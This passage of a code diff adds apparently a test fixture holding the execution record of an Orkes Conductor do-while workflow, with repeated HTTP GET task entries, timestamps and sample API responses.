subworkflowChanged: false, + queueWaitTime: 0, + loopOverTask: true, + taskDefinition: null, + }, + ], + }, + http_ref_7: { + taskType: "HTTP", + status: "COMPLETED", + inputData: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + _createdBy: "najeeb.thangal@orkes.io", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + referenceTaskName: "http_ref_7__1", + retryCount: 0, + seq: 47, + pollCount: 1, + taskDefName: "http_7", + scheduledTime: 1713413859406, + startTime: 1713413859472, + endTime: 1713413859483, + updateTime: 1713413859472, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "97efa7d7-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + workerId: "orkes-workers-deployment-d57759b85-h87xg", + outputData: { + response: { + headers: { + "Strict-Transport-Security": ["max-age=15724800; includeSubDomains"], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:39 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 9943, + hostName: "orkes-api-sampler-67dfc8cf58-tp2s8", + randomString: "tjxztrsclyzabbqspjmv", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + workflowTask: { + name: "http_7", + taskReferenceName: "http_ref_7", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 1, + subworkflowChanged: false, + queueWaitTime: 66, + loopOverTask: true, + taskDefinition: null, + loopOver: [ + { + taskType: "HTTP", + status: "COMPLETED", + inputData: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + _createdBy: "najeeb.thangal@orkes.io", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + referenceTaskName: "http_ref_7__1", + retryCount: 0, + seq: 47, + pollCount: 1, + taskDefName: "http_7", + scheduledTime: 1713413859406, + startTime: 1713413859472, + endTime: 1713413859483, + updateTime: 1713413859472, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "97efa7d7-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + workerId: "orkes-workers-deployment-d57759b85-h87xg", + outputData: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:39 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 9943, + hostName: "orkes-api-sampler-67dfc8cf58-tp2s8", + randomString: "tjxztrsclyzabbqspjmv", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + workflowTask: { + name: "http_7", + taskReferenceName: "http_ref_7", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 1, + subworkflowChanged: false, + queueWaitTime: 66, + loopOverTask: true, + taskDefinition: null, + }, + ], + }, + http_ref_8: { + taskType: "HTTP", + status: "COMPLETED", + inputData: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + _createdBy: "najeeb.thangal@orkes.io", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + referenceTaskName: "http_ref_8__10", + retryCount: 0, + seq: 89, + pollCount: 1, + taskDefName: "http_8", + scheduledTime: 1713413862045, + startTime: 1713413862132, + endTime: 1713413862145, + updateTime: 1713413862132, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "998255f1-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + workerId: "orkes-workers-deployment-d57759b85-h87xg", + outputData: { + response: { + headers: { + "Strict-Transport-Security": ["max-age=15724800; includeSubDomains"], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:42 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 4274, + hostName: "orkes-api-sampler-67dfc8cf58-7ckpj", + randomString: "kwmoumdlucxuwgphkxaj", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + workflowTask: { + name: "http_8", + taskReferenceName: "http_ref_8", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 10, + subworkflowChanged: false, + queueWaitTime: 87, + loopOverTask: true, + taskDefinition: null, + loopOver: [ + { + taskType: "HTTP", + status: "COMPLETED", + inputData: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + _createdBy: "najeeb.thangal@orkes.io", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + referenceTaskName: "http_ref_8__1", + retryCount: 0, + seq: 48, + pollCount: 1, + taskDefName: "http_8", + scheduledTime: 1713413859490, + startTime: 1713413859583, + endTime: 1713413859594, + updateTime: 1713413859583, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "97fc7918-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + workerId: "orkes-workers-deployment-d57759b85-h87xg", + outputData: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:39 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 9428, + hostName: "orkes-api-sampler-67dfc8cf58-nt2wk", + randomString: "lwfynuupwbgkcwgqemcs", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + workflowTask: { + name: "http_8", + taskReferenceName: "http_ref_8", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 1, + subworkflowChanged: false, + queueWaitTime: 93, + loopOverTask: true, + taskDefinition: null, + }, + { + taskType: "HTTP", + status: "COMPLETED", + inputData: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + _createdBy: "najeeb.thangal@orkes.io", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + referenceTaskName: "http_ref_8__2", + retryCount: 0, + seq: 53, + pollCount: 1, + taskDefName: "http_8", + scheduledTime: 1713413859823, + startTime: 1713413859916, + endTime: 1713413859927, + updateTime: 1713413859916, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "982f48ed-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + workerId: "orkes-workers-deployment-d57759b85-h87xg", + outputData: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:39 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 3723, + hostName: "orkes-api-sampler-67dfc8cf58-chmzf", + randomString: "kjmdqmvozujqsxupnlot", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + workflowTask: { + name: "http_8", + taskReferenceName: "http_ref_8", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 2, + subworkflowChanged: false, + queueWaitTime: 93, + loopOverTask: true, + taskDefinition: null, + }, + { + taskType: "HTTP", + status: "COMPLETED", + inputData: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + _createdBy: "najeeb.thangal@orkes.io", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + referenceTaskName: "http_ref_8__3", + retryCount: 0, + seq: 58, + pollCount: 1, + taskDefName: "http_8", + scheduledTime: 1713413860156, + startTime: 1713413860248, + endTime: 1713413860259, + updateTime: 1713413860248, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "986218c2-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + workerId: "orkes-workers-deployment-d57759b85-h87xg", + outputData: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:40 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 7080, + hostName: "orkes-api-sampler-67dfc8cf58-psd9l", + randomString: "cuurineeimzdpveetkte", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + workflowTask: { + name: "http_8", + taskReferenceName: "http_ref_8", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 3, + subworkflowChanged: false, + queueWaitTime: 92, + loopOverTask: true, + taskDefinition: null, + }, + { + taskType: "HTTP", + status: "COMPLETED", + inputData: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + _createdBy: "najeeb.thangal@orkes.io", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + referenceTaskName: "http_ref_8__4", + retryCount: 0, + seq: 63, + pollCount: 1, + taskDefName: "http_8", + scheduledTime: 1713413860487, + startTime: 1713413860580, + endTime: 1713413860592, + updateTime: 1713413860580, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "98949a77-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + workerId: "orkes-workers-deployment-d57759b85-h87xg", + outputData: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:40 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 8155, + hostName: "orkes-api-sampler-67dfc8cf58-nt2wk", + randomString: "tniyursobyqwmcgnfxcj", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + workflowTask: { + name: "http_8", + taskReferenceName: "http_ref_8", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 4, + subworkflowChanged: false, + queueWaitTime: 93, + loopOverTask: true, + taskDefinition: null, + }, + { + taskType: "HTTP", + status: "COMPLETED", + inputData: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + _createdBy: "najeeb.thangal@orkes.io", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + referenceTaskName: "http_ref_8__5", + retryCount: 0, + seq: 68, + pollCount: 1, + taskDefName: "http_8", + scheduledTime: 1713413860819, + startTime: 1713413860914, + endTime: 1713413860925, + updateTime: 1713413860914, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "98c7433c-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + workerId: "orkes-workers-deployment-d57759b85-h87xg", + outputData: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:40 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 5878, + hostName: "orkes-api-sampler-67dfc8cf58-chmzf", + randomString: "bksldazxfxhyoyefvrxf", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + workflowTask: { + name: "http_8", + taskReferenceName: "http_ref_8", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 5, + subworkflowChanged: false, + queueWaitTime: 95, + loopOverTask: true, + taskDefinition: null, + }, + { + taskType: "HTTP", + status: "COMPLETED", + inputData: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + _createdBy: "najeeb.thangal@orkes.io", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + referenceTaskName: "http_ref_8__6", + retryCount: 0, + seq: 71, + pollCount: 1, + taskDefName: "http_8", + scheduledTime: 1713413860970, + startTime: 1713413861025, + endTime: 1713413861036, + updateTime: 1713413861025, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "98de269f-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + workerId: "orkes-workers-deployment-d57759b85-h87xg", + outputData: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:41 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 4089, + hostName: "orkes-api-sampler-67dfc8cf58-spxdt", + randomString: "khrlsfsjmhvsjgtshbfz", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + workflowTask: { + name: "http_8", + taskReferenceName: "http_ref_8", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 6, + subworkflowChanged: false, + queueWaitTime: 55, + loopOverTask: true, + taskDefinition: null, + }, + { + taskType: "HTTP", + status: "COMPLETED", + inputData: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + _createdBy: "najeeb.thangal@orkes.io", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + referenceTaskName: "http_ref_8__7", + retryCount: 0, + seq: 74, + pollCount: 1, + taskDefName: "http_8", + scheduledTime: 1713413861082, + startTime: 1713413861136, + endTime: 1713413861147, + updateTime: 1713413861136, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "98ef64b2-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + workerId: "orkes-workers-deployment-d57759b85-h87xg", + outputData: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:41 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 8433, + hostName: "orkes-api-sampler-67dfc8cf58-7ckpj", + randomString: "nwltborbttslioxepwhe", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + workflowTask: { + name: "http_8", + taskReferenceName: "http_ref_8", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 7, + subworkflowChanged: false, + queueWaitTime: 54, + loopOverTask: true, + taskDefinition: null, + }, + { + taskType: "HTTP", + status: "COMPLETED", + inputData: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + _createdBy: "najeeb.thangal@orkes.io", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + referenceTaskName: "http_ref_8__8", + retryCount: 0, + seq: 79, + pollCount: 1, + taskDefName: "http_8", + scheduledTime: 1713413861375, + startTime: 1713413861467, + endTime: 1713413861478, + updateTime: 1713413861467, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "991c1a07-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + workerId: "orkes-workers-deployment-d57759b85-h87xg", + outputData: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["181"], + Date: ["Thu, 18 Apr 2024 04:17:41 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 242, + hostName: "orkes-api-sampler-67dfc8cf58-tp2s8", + randomString: "idkvujpflbawjvbtcqol", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + workflowTask: { + name: "http_8", + taskReferenceName: "http_ref_8", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 8, + subworkflowChanged: false, + queueWaitTime: 92, + loopOverTask: true, + taskDefinition: null, + }, + { + taskType: "HTTP", + status: "COMPLETED", + inputData: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + _createdBy: "najeeb.thangal@orkes.io", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + referenceTaskName: "http_ref_8__9", + retryCount: 0, + seq: 84, + pollCount: 1, + taskDefName: "http_8", + scheduledTime: 1713413861704, + startTime: 1713413861798, + endTime: 1713413861810, + updateTime: 1713413861798, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "994e4d9c-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + workerId: "orkes-workers-deployment-d57759b85-h87xg", + outputData: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:41 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 4359, + hostName: "orkes-api-sampler-67dfc8cf58-lp2np", + randomString: "lmbrmrnefvkwwwbmvolm", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + workflowTask: { + name: "http_8", + taskReferenceName: "http_ref_8", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 9, + subworkflowChanged: false, + queueWaitTime: 94, + loopOverTask: true, + taskDefinition: null, + }, + { + taskType: "HTTP", + status: "COMPLETED", + inputData: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + _createdBy: "najeeb.thangal@orkes.io", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + referenceTaskName: "http_ref_8__10", + retryCount: 0, + seq: 89, + pollCount: 1, + taskDefName: "http_8", + scheduledTime: 1713413862045, + startTime: 1713413862132, + endTime: 1713413862145, + updateTime: 1713413862132, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "998255f1-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + workerId: "orkes-workers-deployment-d57759b85-h87xg", + outputData: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:42 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 4274, + hostName: "orkes-api-sampler-67dfc8cf58-7ckpj", + randomString: "kwmoumdlucxuwgphkxaj", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + workflowTask: { + name: "http_8", + taskReferenceName: "http_ref_8", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 10, + subworkflowChanged: false, + queueWaitTime: 87, + loopOverTask: true, + taskDefinition: null, + }, + ], + }, + http_ref_5: { + taskType: "HTTP", + status: "COMPLETED", + inputData: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + _createdBy: "najeeb.thangal@orkes.io", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + referenceTaskName: "http_ref_5__10", + retryCount: 0, + seq: 87, + pollCount: 1, + taskDefName: "http_5", + scheduledTime: 1713413861845, + startTime: 1713413861911, + endTime: 1713413861920, + updateTime: 1713413861911, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "9963d16f-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + workerId: "orkes-workers-deployment-d57759b85-h87xg", + outputData: { + response: { + headers: { + "Strict-Transport-Security": ["max-age=15724800; includeSubDomains"], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:41 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 5175, + hostName: "orkes-api-sampler-67dfc8cf58-chmzf", + randomString: "enhhdgrjmtgntufhymzm", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + workflowTask: { + name: "http_5", + taskReferenceName: "http_ref_5", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + 